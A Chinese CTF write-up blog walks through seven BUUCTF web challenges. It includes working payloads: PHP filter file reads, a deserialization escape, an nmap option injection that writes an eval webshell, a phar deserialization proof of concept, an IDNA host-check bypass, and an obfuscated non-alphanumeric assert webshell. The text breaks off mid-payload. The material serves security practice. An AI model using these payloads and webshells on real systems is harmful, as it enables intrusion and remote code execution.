BUU Web 刷题笔记2

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

这个绕过很简单:

  • 利用php://input 即可绕过file_get_contents($text,'r')==="welcome to the zjctf"

php://input 可以把POST请求过来的数据流当做文件进行处理 ,当然data:// 也可.

  • 第二个if 语句中,如果file中匹配到了flag,就exit();退出脚本,如果没有就进行文件包含include($file) 这里并且是任意文件包含.没有对变量file进行限制,这里我直接包含没有内容回显,用伪协议包含就可以了
1
php://filter/read=convert.base64-encode/resource=useless.php

对得到的内容进行 base64decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
} // 这上面就是base64decode的结果
$a = new Flag();
echo serialize($a);
?>
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload:

[0CTF 2016]piapiapia

知识点: 反序列化长度变化尾部字符串逃逸

// 登录处,尝试注入没有报错,但是没有试盲注,爆破是不可能的,于是扫描一下目录

成功扫描到了 www.zipregister.php

记录一下做这道题学习的相关知识: 虽然有些以前知道

声明类属性或方法为静态,就可以不实例化类而直接访问。静态属性不能通过一个类已实例化的对象来访问(但静态方法可以)。

由于静态方法不需要通过对象即可调用,所以伪变量 $this 在静态方法中不可用。

静态属性不可以由对象通过 -> 操作符来访问。

类属性必须定义为公有,受保护,私有之一。如果用 var 定义,则被视为公有。

类中的方法可以被定义为公有,私有或受保护。如果没有设置这些关键字,则该方法默认为公有。

同一个类的对象即使不是同一个实例也可以互相访问对方的私有与受保护成员。这是由于在这些对象的内部具体实现的细节都是已知的。

对象继承(extends):

继承已为大家所熟知的一个程序设计特性,PHP 的对象模型也使用了继承。继承将会影响到类与类,对象与对象之间的关系。

比如,当扩展一个类,子类就会继承父类所有公有的和受保护的方法。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。

继承对于功能的设计和抽象是非常有用的,而且对于类似的对象增加新功能就无须重新再写这些公用的功能。

this, self, parent:

  • this是指向当前对象的指针
  • self是指向当前类的指针,不指向任何已近实例化后的对象,一般用来指向类中的静态变量
  • parent是指向父类的指针

读完了下载下来的这几个源码后,发现有用的只在 class.php 和 config.php(唯一存在flag字段的内容,说明flag一定是在config.php里面,那么现在的目标就是去读取config.php 的内容)

在register.php 中:

1
$user->update_profile($username, serialize($profile)); // 必定存在一个序列化操作

在profile.php 中: 存在文件操作函数以及可控的参数 photo ,如果 photo 为config.php 就能读取到flag, photo 输出是以base64的形式

1
$photo = base64_encode(file_get_contents($profile['photo'])); // 如果photo 为 config.php 就可以读取flag

profile.php

update.php

class.php

这里的正则过滤掉了where(5) ,如果存在where等字段,就用hacker(6) 来替换

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化,然后这道题的考点就在这两步操作中的一个很细节的点

在反序列化unserialize() 时,会自动忽略掉能够正确序列化之后的内容( 也就是构造闭合 ),从而忽略掉upload/md5(filename)

通过抓包来看一下数组的中元素的传递的顺序,也是 nickname 是位于photo之前的,所以可以想办法让nickname足够长,把upload那部分字段给”挤出去” 专业术语: 反序列化长度变化尾部字符串逃逸

再来理清一下思路:

  • 要使 photo 字段的内容为 config.php,构造闭合如下

";}s:5:"photo";s:10:"config.php";} 这里一共 34 个字符. 那么在原来的 nickname中的where....where... 一共是170个字符,加上 ";}s:5:"photo";s:10:"config.php";} 后为204个字符,相差34 个字符, 因为正则匹配把where 替换为 hacker ,每替换一个就增加 1个字符,现在用34个where就可以增加34个字符,导致构造的";}s:5:"photo";s:10:"config.php";} 的效果为 ";} 是为了闭合nickname部分.

s:5:"photo";s:10:"config.php";} 而后面这部分,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果

  • 绕过正则表达式和长度限制

使用数组绕过 nickname[]=

payload:

构造数组绕过strlen()和正则表达式

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag

来参考一下一位师傅的分析文章中的图片(参考资料2) , 会更容易理解

参考资料:

https://blog.csdn.net/zz_Caleb/article/details/96777110

https://www.bbsmax.com/A/QV5ZV3Vb5y/

https://www.cnblogs.com/20175211lyz/p/11444134.html

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { // 设置XFF 头,获取真实IP
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); // 对参数host增加一个单引号'
$host = escapeshellcmd($host); // 对参数host中可能存在的危险符号进行转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); // 对 glzjin和IP 进行md5
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); // 创建一个目录
chdir($sandbox); // 切换当前目录
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// 这里使用了系统函数system(),并且存在可控的参数$host 那么很明显利用点就是这
// 就是想办法使host中存在可以执行的shell 命令,如ls 然后再cat /flag之类
}

有两个函数以前没遇到过,学习一下😀

escapeshellarg 函数就是字符串增加一个单引号或者引用已经转码存在过的单引号, 就是可以把输入的参数用单引号给括起来(将传入的字符串解析为Linux 可以执行的语句),这样然后 '127.0.0.1|ls' 的话, 单引号就成功逃逸了成为 ''127.0.0.1|ls''

但是没有结果, 再回过头来发现,原因是这个system() 函数已经写死了

1
2
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// 只能通过namp 的某些操作来读取flag

escapeshellcmd 函数就是给一些危险的字符前添加反斜线\来进行转义

在搜索这两个函数的同时,发现了如果这两个函数在一起使用,如果没有处理的话,就会导致参数注入

从参考资料3 中,这两个函数使用后,因为 ‘ ( escapeshellarg 为参数增加单引号 )和 \ (escapeshellcmd 进行转义)的原因,最后处理就成了两个参数,\\ 也就只是去匹配\了

反复理解,加深印象

现在来本地测一下这两个函数:

1
2
3
4
5
6
7
8
9
10
<?php
$a = "'";
//var_dump(escapeshellarg($a));
//echo escapeshellarg($a);
var_dump(escapeshellcmd($a));
echo escapeshellcmd($a);
?>
// 输出结果为: string(2) "\'" 和 \' ,说明 escapeshellcmd,是在对不配对的'进行转义
// 另一个函数的输出结果为: string(6) "''\'''" 和 ''\''',说明escapeshellarg是在保留原来的\'单引号的同时(通过转义),再引用单引号将左右两部括起来从而起到连接的作用

然后为什么为做不出来的原因呢,因为escapeshellcmd 对 shell中的命令执行的操作符都进行了转义,导致无法进行利用, 那么直接无法利用, 那可不可以写一个webshell 然后找虚拟终端中执行吧.所以现在的思路就死如何写入webshell( 利用上面的system()函数和nmap ) 果然,nmap 是支持输出的

payload:

1
2
/?host='<?php @eval($_POST["aaa"]);?> -oG shell.php '
# 这里有一点,如果习惯把一句话密码用单引号'aaa' 这里就不行,因为这里的所有内容都作为参数host的内容,因此只要遇见了单引号就变成''aaa''

参考资料:

https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html

谈谈escapeshellarg参数绕过和注入的问题

https://paper.seebug.org/164/

https://nmap.org/man/zh/man-output.html

[5](https://note.redmango.top/Online Tool(BUUCTF 2018)/)

[RoarCTF 2019]Easy Java

任意文件下载, WEB-INF/web.xml 源码泄露

打开题目是一个登陆界面,并没有注册之类,并且通过题目也知道不可能是SQL注入,点击help me后

跳转后的URL 为 : /Download?filename=help.docx

既然没有其他功能,从URL中可以看到是下载文件,得flag应该就是把含有flag的文件下载下来

为什么是 WEB-INF/ 泄露呢?

因为从题目知道是关于 java web 的题目, tomcat 是用java web写的, Tomcat的配置目录中存在一个WEB-INF\XXX XXX就是下面这些东西,其中 web.xml 就是web应用程序配置文件, 那么既然是任意文件下载,那肯定先把配置文件下载下来啊

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

什么是 servlet ?

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。Servlet运行于支持Java的应用服务器中。从原理上讲,Servlet可以响应任何类型的请求,但绝大多数情况下Servlet只用来扩展基于HTTP协议的Web服务器。

最早支持Servlet标准的是JavaSoft的Java [Web Server](https://baike.baidu.com/item/Web Server/9306055),此后,一些其它的基于Java的Web服务器开始支持标准的Servlet。

—- 百度百科

因为这个flag字段肯定在里面,所以对所有内容base64decode 肯定就能出flag

这里用hackerbar POST 送 /WEB-INF/classes/com/wm/ctf/FlagController.class 即可下载 .class 文件 , 我用专门的Java 反编译软件没反应,用IDA 看了下,找到了那段base64的代码

补充:

在问了软工搞JAVA 的同学后, 应该是我的JAVA JDK 没有添加到环境变量,所有没有反应,搞了环境变量后就可以反编译了

参考资料:

https://blog.csdn.net/durendong/article/details/54578519

https://blog.csdn.net/jdjdndhj/article/details/52694202

https://blog.csdn.net/lindiwo/article/details/80818345

https://www.cnblogs.com/20175211lyz/p/11691839.html#web-infweb.xml%E6%B3%84%E9%9C%B2

[SUCTF 2019]Pythonginx

出题来源: https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

CVE-2019-9636:urlsplit不处理NFKC标准化

IDNA

(Internationalizing Domain Names in Applications)应用程序国际化域名

  • ​ IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。
  • ​ 国际化域名(IDN)最初是由马丁·杜斯特于1996年12月提出。1998年在新加坡国立大学教授陈定炜的指导下,Tan Juay Kwang和Leong Kok Yong将其付诸实施。经过许多讨论和对比各种提案后,应用程序国际化域名(IDNA)被采纳为正式标准,并被用在许多顶级域名中。在IDNA中,“国际化域名”特指可以成功将IDNA转化为十进位制ASCII的域名。

存在漏洞的 IDNA 版本:

IDNA2008阻断了分割域名的字符

IDNA2003IDNA2008 + UTS46存在漏洞

Unicode 编码

中文名又叫万国码,国际码,统一码,单一码.是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得计算机可以用更为简单的方式来呈现和处理文字。Unicode涵盖的数据除了视觉上的字形、编码方法、标准的字符编码外,还包含了字符特性,如大小写字母。目前已经有超过 13 万个字符

ASCII 编码

ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,它主要用于显示现代英语,而其扩展版本EASCII则可以部分支持其他西欧语言,并等同于国际标准ISO/IEC 646。

至今为止共定义了128个字符;其中33个字符无法显示(一些终端提供了扩展,使得这些字符可显示为诸如笑脸、扑克牌花式等8-bit符号),且这33个字符多数都已是陈废的控制字符。控制字符的用途主要是用来操控已经处理过的文字。在33个字符之外的是95个可显示的字符。用键盘敲下空白键所产生的空白字符也算1个可显示字符(显示为空白)。

也就是说: ASCII 码由 : ASCII 打印字符, ASCII 非打印控制字符, 扩展ASCII 打印字符

Url中的Unicode漏洞引发的域名安全问题

见参考资料[1]

域名欺骗

1
http://Вaidu.com 其中的B 是(unicode U+0412)

访问这个URL, 会跳转到 http://www.xn--aidu-f4d.com/

xn:ACE(这是一个国际化域名编码)

aidu:ASCII码

f4d:状态机指令

访问经过构造的URL时,过程是这样的:

浏览器会将我们访问的url交给域名系统(DNS)解析url为ip地址,在解析url的过程中采用递归查询和迭代查询,即先递归搜索浏览器自己的的dns缓存,然后搜索操作系统的dns缓存,接着搜索hosts文件缓存,搜索本地域名服务器,然后迭代搜索根域名服务器……,直到找到ip地址为止,找不到就返回404notfound,而在DNS中,国际化域名(IDNA)使用Punycode转写并以美国信息交换标准代码(ASCII)字符串储存。在本地DNS中,因为遇见特殊字符В,而无法将此url正常转化为ASCII,因此就直接在本地转化http://xn--aidu-f4d.com/这种形式的url。

IDNA转写ASCII的过程又分为两步

1. Normalization

Convert characters to a “standardized form”.

第一步:正常化,将字符转化为标准形式

例如:

1
Å (U+00C5),Å (U+212B),Å (U+0041, U+030A)将会被标准化为å (U+00E5)

2. Punycoding

Turn Unicode into ASCII.

第二步:用punycode编码将unicode编码成ASCII码

现在我们已经知道,在我们访问域名http://Вaidu.com时,浏览器会将此unicode转化为ASCII码,然后访问http://xn--aidu-f4d.com/,如果我们注册了http://xn--aidu-f4d.com/这个域名,那么我们就可以将访问http://Вaidu.com的受害者转到这个域名下,从而实现钓鱼攻击

域名分割

访问:

1
http://evil.c℀a.aaa.com 

浏览器会访问:

1
http://evil.ca/ca.aaa.com

unicode中还有一种字符(U+2100),当IDNA处理此字符时,会将变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。

unicode转ASCII发生在IDNA中的TOASCII操作中。如果能通过TOASCII转换时,将会以正常的字符呈现。而如果不能通过TOASCII转换时,就会使用“ACE标签”,“ACE”标签使输入的域名能转化为ASCII码

其他可利用的unicode 字符:

U+2100, U+2101, U+2105, U+2106, U+FF0F, U+2047, U+2048, U+2049,

U+FE16, U+FE56, U+FF1F, U+FE5F, U+FF03, U+FE6B, U+FF20,

Nginx

参考资料: https://www.cnblogs.com/liang-io/p/9340335.html

Nginx 是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,最初供俄国大型的入口网站及搜寻引擎Rambler(俄文:Рамблер)使用。 其特点是占有内存少,并发能力强.

Nginx 重要文件配置:

  • conf 目录是 nginx 所有配置文件的目录 ,nginx.conf 是nginx 默认的主配置文件

  • 配置文件存放目录:/etc/nginx

  • 主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf

  • 管理脚本:/usr/lib64/systemd/system/nginx.service

  • 模块:/usr/lisb64/nginx/modules

  • 应用程序:/usr/sbin/nginx

  • 程序默认存放位置:/usr/share/nginx/html

  • 日志默认存放位置:/var/log/nginx

解题过程

大师傅的非预期: /getUrl?url=file:////suctf.cc/../../../../../usr/fffffflag

原理:

参考资料 https://xz.aliyun.com/t/6281

Python urlunsplit()函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
def urlunsplit(components):
scheme, netloc, url, query, fragment, _coerce_result = (
_coerce_args(*components))
if netloc or (scheme and scheme in uses_netloc and url[:2] != '//'):
if url and url[:1] != '/': url = '/' + url
url = '//' + (netloc or '') + url
if scheme:
url = scheme + ':' + url
if query:
url = url + '?' + query
if fragment:
url = url + '#' + fragment
return _coerce_result(url)

这个函数的用法和PHP中的parse_url() 很像, 都是将URL中的各个部分组成一个列表list(数组array)

预期:

Python 菜,直接(~ ̄▽ ̄)嫖脚本, 以后再研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from urllib import parse
from urllib.parse import urlunsplit, urlsplit


def get_unicode():
for x in range(65536):
uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__ == "__main__":
get_unicode()
1
2
3
4
5
6
7
8
用这些去代替suctf.cc中最后那个c即可
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23

利用file://协议读文件, 然后 这个 alias 是在nginx 中,用来设置虚拟目录用的,alias指定的目录是准确的,即location匹配访问的path目录下的文件直接是在alias目录下查找的

说明 /flag 直接在 /usr/fffffflag 中读取

/getUrl?url=file://suctf.c%E2%85%AD/usr/fffffflag 即可读取flag

再来分析一下原理:

  1. 在前面两个 if 判断 host 是否为 suctf.cc 时, 因为 suctf.cⅭ 所以成功绕过

  2. 然后对host 进行 idna编码 再进行 utf-8 解码 这就导致了漏洞的出现.

当传入 这个为最后一个c,最后第三部就成为了suctf.cc/u然后就可以读取 usr目录下的敏感文件.

参考资料:

https://xz.aliyun.com/t/6070

https://xz.aliyun.com/t/6057

https://xz.aliyun.com/t/6281

https://bugs.python.org/issue36216

https://lihuaiqiu.github.io/2019/08/27/SUCTF2019/

https://www.cnblogs.com/20175211lyz/p/11470200.html#cve-2019-9636urlsplit%E4%B8%8D%E5%A4%84%E7%90%86nfkc%E6%A0%87%E5%87%86%E5%8C%96

https://xi4or0uji.github.io/2019/08/25/2019-SUCTF-wp/#Pythonginx

https://blog.csdn.net/qq_42181428/article/details/99741920

[CISCN2019 华北赛区 Day1 Web1]Dropbox

  • 任意文件下载

  • phar 反序列化

因为注册(register.php)账号后,只有一个上传(upload.php)图片,抓包试试看删除,出现了delete.php

本来想试试扫目录的,按理说应该可以扫到 download.php ,但是猜也应该有下载功能,从题目(云盘),那应该也有download吧!!!

依次下载 index,login,class,download的PHP源码 , 然后进行代码审计

在class.php 中的 第158 行,存在文件读取函数file_get_contents()

1
return file_get_contents($this->filename); // 在File 类
1
2
3
4
5
6
7
8
public function __call($func, $args)
{
array_push($this->func, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
// 在95,96 行存在 __call()魔法函数,该函数用于监视对象中的其他方法,当去调用一个对象中不存在的方法时,该函数就会被触发

然后之前学到过,Phar 反序列化会影响到该函数,这里为什么会想到反序列化呢?并且没有serialize()序列化和unserialize() 反序列化函数

然后将 158行的 filename 进行跟踪, 是属于 File 类的, 既然要想读取文件,又是关于面向对象的,又没有序列化相关的函数,所以只有phar 反序列, 该反序列化不需要序列化相关的函数都能进行

login.php 中的71,72,73 得到沙箱的文件路径,但是做这道题没有用处

1
2
3
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; // 上传文件的路径为uploads/sha1('username')sftUahRiTz/
if (!is_dir($sandbox)) { // 如果不存在sandbox 的路径,就创建
mkdir($sandbox);

download.php 中的第13行:

1
2
3
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
// 只能读写 /etc 和 /tmp 和当前目录(getcwd())
// hint: 必须要在delete.php中利用payload

open_basedir : 是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中

设置open_basedir的方法,在linux下,不同的目录由“:”分割,如“/var/www/:/tmp/”;在Windows下不同目录由“;”分割,如“c:/www;c:/windows/temp”。

18行中:

1
2
3
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false
// 判断文件名长度小于40 ,并且文件名中不能含有flag 字段
// hint: flag的文件名中含有flag字段

在User类中存在 close()方法,在对象销毁时执行

1
2
3
4
5
6
public function __call($func, $args)
{
array_push($this->func, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}

FileList类中存在__call() 魔法函数,该类没有close()方法,如果该类去调用close()方法,就会触发__call()魔法函数

如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

当上传phar后缀的文件时, {"success":false,"error":"Only gif\/jpg\/png allowed"}

但是这一点无影响,只要内容是phar 文件的各式, 不管上传什么后缀的文件都会被解析为phar文件

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class User
{
public $db;
}

class File
{
public $filename;

}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct()
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->funcs = array();
}
}
@unlink("expexp.phar");
// 下面这部分是phar 反序列都需要写的, 视情况改动
$o = new User();
$o->db = new FileList();
echo serialize($o);

$phar = new Phar("expexp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

参考资料:

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://www.suk1.top/2020/01/16/BuuctfDay7/

https://www.cnblogs.com/kevinbruce656/p/11316070.html

[SUCTF 2018]GetShell

题目给出了一些源码

1
2
3
4
5
6
7
8
9
10
<?php

if ($contents = file_get_contents($_FILES["file"]["tmp_name"])) { // 将文件内容以字符串的形式读入变量contents
$data = substr($contents, 5); // 从字符串的第6个位置开始,截取之后的内容赋值给变量data
foreach ($black_char as $b) { // 遍历黑名单并赋值给变量b
if (stripos($data, $b) !== false) { // 如果变量data 中存在黑名单中的字段,就上传失败
die("illegal char");
}
}
}

这里我顺便上传了几个文件,都不行,当上传一个没有内容的shell.php时,成功上传

返回的文件路径是32位的hash,并且固定不变,无论上传什么文件后缀都为.php

当什么都不上传的时候,点击提交 , 就返回Return Code: 4 不知道是不是hint

对上传的内容进行fuzz(fuzz 字典为键盘上的所有可打印字符). 发现只有[] _ () $ ~可以上传 所以很明显是用和不可显字符写webshell,需要利用php的位运算,来构造代码执行函数 ,其中 $ 使用来声明变量的, 其他是用来定义函数的时候用的,在ISO-8859-15 编码下进行保存,` 可用来进行取反操作,进而构造出我们需要的字符看了wp后,发现. ;` 也可以上传,但是为什么我用bp FUZZ的时候就不行呢?导致我以为还要用上面那几个去构造. 和 ;

看了一篇文章后,知道了原因: 要把payload encoding 哪里取消掉(不然会因为字符编码无法得到正确的白名单), 然后在 grep match 勾选,这样fuzz 就能快速找到合法的字符了

还有非英文字符 也可以上传

~(X) 当X为一个汉字时对这个汉字取反第二位可以得到得到一个英文字符

还有一个小 trick

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

第一个字母是大写A, 第四个字母为小写a, 如果题目允许 + 的话, 可以利用 自增运算符,来获得所有字母

然后构造函数执行即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
error_reporting(0); // 关闭报错,不然出现一堆notice 很烦
header('Content-Type: text/html; charset=utf-8');

$dic = ['a', 's', 'e', 'r', 't', 'P', 'O', 'S', 'T', '(', ')'];

$str = "每一次回家,每次都会有不同的感悟,这感悟不光是来自我其他学校的好朋友的一些生活分享,也来自自我的体验.

就如我的标题所言—-“只不过是有人替我(们)负重前行”,真的很感谢他们,但是有时候有希望自己能做出些事情来改变,希望负重的是我们.

在知乎上看到的,觉得很有道理,这里就直接copy过来吧.文末注明出处

你学习一般,考上了现在的这所学校,成绩不算好,拿不到奖学金,上课不听讲,上自习不规律,考试靠突击,同学帮一把的话也能每科考到七八十分,但是与优秀总有很大距离。

你家境一般,父母都是普通员工,你在这个城市的生活费是每月一千二,没事下下馆子,一个月添件衣服,想买台相机,咬咬牙才能买双自己喜欢的鞋。

你几乎没有特长,不会弹吉他,不会弹钢琴,不会跳舞,不会画画,想学摄影却不会使用图片处理软件,想上台演出却没信心,学校晚会比赛的时候,你经常是站在台下围观的人群里的一员,你与聚光灯环绕的舞台几乎绝缘。

你的感情也是一般,有时候会遇见自己心仪的那个人,但是总抓不住机会,眨眼间那个人就被其他人俘获,你就开始伤心、抱怨,但是几天之后又开始寻找新的心上人,就这样看着一个个心上人走过,直到你毕业,与其中任何一个都没有发展。

总之,你没有什么特别的地方 ,就和周围的千万个普通人一样。

你不甘心拿不到奖学金,看见别人得奖学金的时候你会说那完全是突击的结果,于是你开始上自习,不过你只坚持了一星期。
你不甘心自己的父辈平平,于是你批评讽刺自己周围的“官二代”、“富二代”,立志要努力学习争取成功,也好让自己的孩子成为“富二代”,你的热情持续了一个星期。
你不甘心自己什么特长都没有,于是你开始学弹吉他、买滑轮鞋、借来摄影方面的书籍,你对着镜子微笑着说:“你是最棒的。” 这份虚假的信心维持了一个星期。
你不甘心自己没有伴侣,你决心洗心革面重新做人,你删掉电脑里的偶像剧肥皂剧,你收拾起床上的懒人桌,把零食袋子统统扔掉,然后洗了个澡并且修饰了一下自己,你往发型上喷了啫喱水,好让自己看起来很精神,你怀揣着一本成功学的书决定出去走走,开始新的生活。这样的状态,你稀稀拉拉地坚持了一个星期。
一个星期之后,你还是和周围千万个人一样,你还是和一星期前的自己一样。
你逛网络论坛,看到了这样一句话:“二十岁是人生最美好的时光,不应该局限在学校里教室里,应该享受生活。” 于是你相信了,你觉得二十岁的你就应该“随心所欲”,享受“人生中最后的自由时光”;就应该“快乐地去恋爱”“风华正茂”“挥斥方遒”······
现在的你,用着父母的血汗钱,用着名牌包、穿着名牌跑鞋、骑着捷安特山地车、用着佳能牌的相机和苹果牌的手机,还经常去星巴克喝喝咖啡体验一下小资情调······
那么,请允许我猜测一下你的未来——
在大四将要结束时,你考研落榜。你风风火火的参加校园招聘会,很多公司你都看不上,嫌他们不是体制内单位、平台窄、规模小,直到毕业,你还没有找到心仪的工作。你收拾好行李回到老家,父母让你试着参加各种招聘考试或者参加当地的应聘会,你不去,因为你觉得那些工作太简单了,不适合你,你应该去寻找更好的就业机会。可是,当你去那些你看得上的公司应聘时,你的竞争对手太多了,而且都不差,你表现平平,理所当然地被拒之门外······
现在的你,也许还在上大学,也许和恋人恩恩爱爱,每天黏在一起,午饭晚饭一起去吃,晚自习后还会一起在操场散步。你们讨论起未来,最后的结论总是:不要想得太多,认真过好现在就好。 不幸运的话,几个月后,你们就分手了,你凄凄惨惨戚戚,反复问自己究竟哪里做错了;幸运的话,你们会一直恋爱到毕业,最终,你绝得自己不够优秀没能力去对方所在的城市读研或者工作,所以你们带着不舍和悔恨分手了。
现实很残酷,至此,你信了。
现在的你喜欢刷微博,你会全力支持那些你赞同的观点,你会激励否定那些你反对的观点。你爱憎分明,看起来很有正义感。你觉得血气方刚的年轻人就应该敢于说出自己的心声。你可能从来不会去想一个问题:你的观点,来自哪里?其实,它们绝大部分来自网络,它们已经蚕食了你的判断力。
现在,我只想问你一个问题:二十岁的你,有什么资本。
你只是千千万万人中微不足道的一个人,少了你,地球还是一样会转。
我敢打赌,一定很久没人和你说过“吃得苦中苦,方为人上人”这句话了吧?
你知道“责任”两个字是怎么写的吗?
当你谈论飞翔的时候,你是不是忘记了地心引力的存在?
现在的你,如果还是放纵着自己的懒惰与幼稚,虚度着光阴,那么,你就虚度去吧。反正我已经过了二十岁的年纪,我还有未来,我得直奔向前了,不陪你了。
再见";


for ($i = 0; $i < mb_strlen($str, 'utf-8'); $i++) {
$st = mb_substr($str, $i, 1, 'utf-8');
$a = ~($st);
$b = $a[1];
#$c = $a[2];
foreach ($dic as $key) {
if ($b == $key) {
echo $key . ' ' . ':' . ' ' . $st;
}
// if($c==$key)
// {
// echo $key.' '.':'.' '.$st;
// }
}
}
?>

算取可以用的UTF-8的中文字符

1
每谢次站(POST) 鞋包包的拾捷(assert)

当然这道题用 ~()[1]; 来取字母php > echo ~(鞋)[1]; a

然后就是利用PHP的弱类型 来获取1

然后就是写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php //assert($_POST[_]);
// 用白名单列出所需字母,然后再拼接出函数
// error_reporting(0);
$_ = _ == _; // 1
$__ = ~(鞋)[$_]; // a
$___ = ~(包)[$_]; // s
$____ = ~(的)[$_]; // e
$_____ = ~(捷)[$_]; // r
$______ = ~(拾)[$_]; // t
$_______ = ~(每)[$_]; // P
$________ = ~(谢)[$_]; // O
$_________ = ~(次)[$_]; // S
$__________ = ~(站)[$_]; //T
// 构造一句话
$_ = $__ . $___ . $___ . $____ . $_____ . $______; // assert
$__ = _ . $_______ . $________ . $_________ . $__________; // _POST
$__= $$__; // $_POST
$_($__[_]); // assert($_POST[_]

使用时,将所有注释删除,并且不要留任何空格!

上传成功后,flag就在phpinfo里面…..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?=
$_=_==_;
$__=~(鞋)[$_];
$___=~(包)[$_];
